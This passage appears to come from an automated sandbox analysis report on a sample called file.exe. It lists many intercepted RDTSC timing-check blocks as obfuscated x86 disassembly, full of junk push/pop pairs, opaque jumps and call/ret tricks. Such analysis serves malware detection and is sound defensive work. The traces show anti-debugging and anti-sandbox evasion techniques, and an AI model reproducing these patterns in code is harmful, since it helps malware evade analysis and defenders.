Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E686D second address: 5E6906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 5271BE3Fh 0x0000000d mov edx, dword ptr [ebp+122D2989h] 0x00000013 or edi, dword ptr [ebp+122D2B29h] 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+122D1F29h], ecx 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D1E21h], ebx 0x00000029 push 00000003h 0x0000002b mov dword ptr [ebp+122D3254h], edi 0x00000031 push 6059E3D9h 0x00000036 jg 00007FC0712A5394h 0x0000003c pushad 0x0000003d jns 00007FC0712A5386h 0x00000043 jc 00007FC0712A5386h 0x00000049 popad 0x0000004a add dword ptr [esp], 5FA61C27h 0x00000051 jmp 00007FC0712A5390h 0x00000056 lea ebx, dword ptr [ebp+1244C6E2h] 0x0000005c mov edx, dword ptr [ebp+122D2CA1h] 0x00000062 xchg eax, ebx 0x00000063 jmp 00007FC0712A538Bh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FC0712A5399h 0x00000071 pushad 0x00000072 popad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E6970 second address: 5E69BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a or ebx, 3DE8ED85h 0x00000010 add dword ptr [ebp+122D1D52h], esi 0x00000016 popad 0x00000017 sub dword ptr [ebp+122D1BD2h], ecx 0x0000001d push 00000000h 0x0000001f jmp 00007FC070C93709h 0x00000024 call 00007FC070C936F9h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC070C936FAh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E69BD second address: 5E69E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A538Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 jne 00007FC0712A5386h 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5E69E2 second address: 5E69E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605A6D second address: 605A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FC0712A538Bh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007FC0712A538Dh 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605A8F second address: 605A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605A94 second address: 605AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605D3B second address: 605D45 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC070C93702h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605D45 second address: 605D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC0712A5386h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FC0712A5386h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 605D5A second address: 605D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007FC070C93702h 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 jmp 00007FC070C93701h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 606055 second address: 60606C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC0712A538Ch 0x00000008 pushad 0x00000009 je 00007FC0712A5386h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60606C second address: 6060B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C93705h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FC070C93705h 0x00000012 push ebx 0x00000013 jmp 00007FC070C93700h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 606364 second address: 606368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 606368 second address: 60636E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60636E second address: 6063A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jns 00007FC0712A5393h 0x0000000e jmp 00007FC0712A5395h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6064D9 second address: 6064E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6064E1 second address: 606505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FC0712A5386h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 je 00007FC0712A5397h 0x00000017 jmp 00007FC0712A538Bh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6067C2 second address: 6067CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6067CE second address: 6067D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6067D4 second address: 6067DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6067DC second address: 6067F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FC0712A538Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 606A84 second address: 606A8E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC070C936F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 607445 second address: 607449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6076FA second address: 607700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 607700 second address: 607704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 607704 second address: 607712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FC070C936F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60C07E second address: 60C082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60A95F second address: 60A983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C93706h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FC070C936F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60C16F second address: 60C173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F71B second address: 60F721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F721 second address: 60F72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F72B second address: 60F731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F731 second address: 60F747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FC0712A538Ch 0x0000000b jne 00007FC0712A5386h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 60F747 second address: 60F74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD02 second address: 5DAD1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC0712A5393h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD1B second address: 5DAD20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD20 second address: 5DAD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC0712A5386h 0x0000000a jmp 00007FC0712A5390h 0x0000000f popad 0x00000010 jmp 00007FC0712A5397h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD5F second address: 5DAD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C93705h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD7B second address: 5DAD81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5DAD81 second address: 5DAD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6122C5 second address: 6122F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5394h 0x00000007 jmp 00007FC0712A538Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007FC0712A53A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6122F3 second address: 6122F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6125E8 second address: 612605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A538Ch 0x00000007 jno 00007FC0712A5386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612605 second address: 61261E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007FC070C936FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61261E second address: 612622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612789 second address: 6127B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C936FBh 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC070C93708h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612BC7 second address: 612BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612D24 second address: 612D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC070C936F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612D30 second address: 612D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 612D35 second address: 612D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D91AC second address: 5D91D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5399h 0x00000007 jo 00007FC0712A5386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D91D4 second address: 5D91D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D91D9 second address: 5D9204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f jnc 00007FC0712A5390h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D9204 second address: 5D921F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC070C93707h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5D921F second address: 5D9232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A538Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 616948 second address: 61694F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61694F second address: 616961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jc 00007FC0712A5392h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 617A4E second address: 617A54 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 617A54 second address: 617A81 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC0712A5390h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FC0712A538Eh 0x00000013 jg 00007FC0712A5386h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 617A81 second address: 617A8B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC070C936FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 617DE1 second address: 617DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 617E4D second address: 617E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618038 second address: 618053 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5397h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6184D0 second address: 6184E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC070C936F6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6184E3 second address: 6184E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6184E7 second address: 6184EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6184EB second address: 6184F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61856E second address: 618572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6186E7 second address: 618710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC0712A5391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FC0712A538Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6188C7 second address: 6188CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618ED6 second address: 618EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC0712A5386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618EE0 second address: 618EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618EE4 second address: 618EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007FC0712A538Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618EF6 second address: 618EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 618FB5 second address: 618FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 619923 second address: 6199AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor dword ptr [ebp+122D2803h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FC070C1F308h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+1245D1EAh], esi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FC070C1F308h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e sub dword ptr [ebp+122D1E21h], edi 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 pushad 0x00000057 jmp 00007FC070C1F315h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61A992 second address: 61A996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61A996 second address: 61A99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61B4DF second address: 61B4E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61BC79 second address: 61BC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61BC7D second address: 61BC83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61CA10 second address: 61CA60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D29AFh] 0x00000011 push 00000000h 0x00000013 or esi, 6511F943h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FC070C1F308h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 and di, 3A52h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e jp 00007FC070C1F306h 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61D520 second address: 61D524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61D524 second address: 61D56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007FC070C1F312h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1E01h], esi 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2D1Dh] 0x0000001d push 00000000h 0x0000001f sbb esi, 1419C673h 0x00000025 xchg eax, ebx 0x00000026 jnc 00007FC070C1F30Eh 0x0000002c push eax 0x0000002d pushad 0x0000002e pushad 0x0000002f push esi 0x00000030 pop esi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61D56B second address: 61D574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61D574 second address: 61D578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61E07C second address: 61E0A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC070F37E38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC070F37E45h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 61E0A0 second address: 61E133 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC070C1F308h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D1E01h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FC070C1F308h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007FC070C1F308h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b sub edi, dword ptr [ebp+122D3125h] 0x00000051 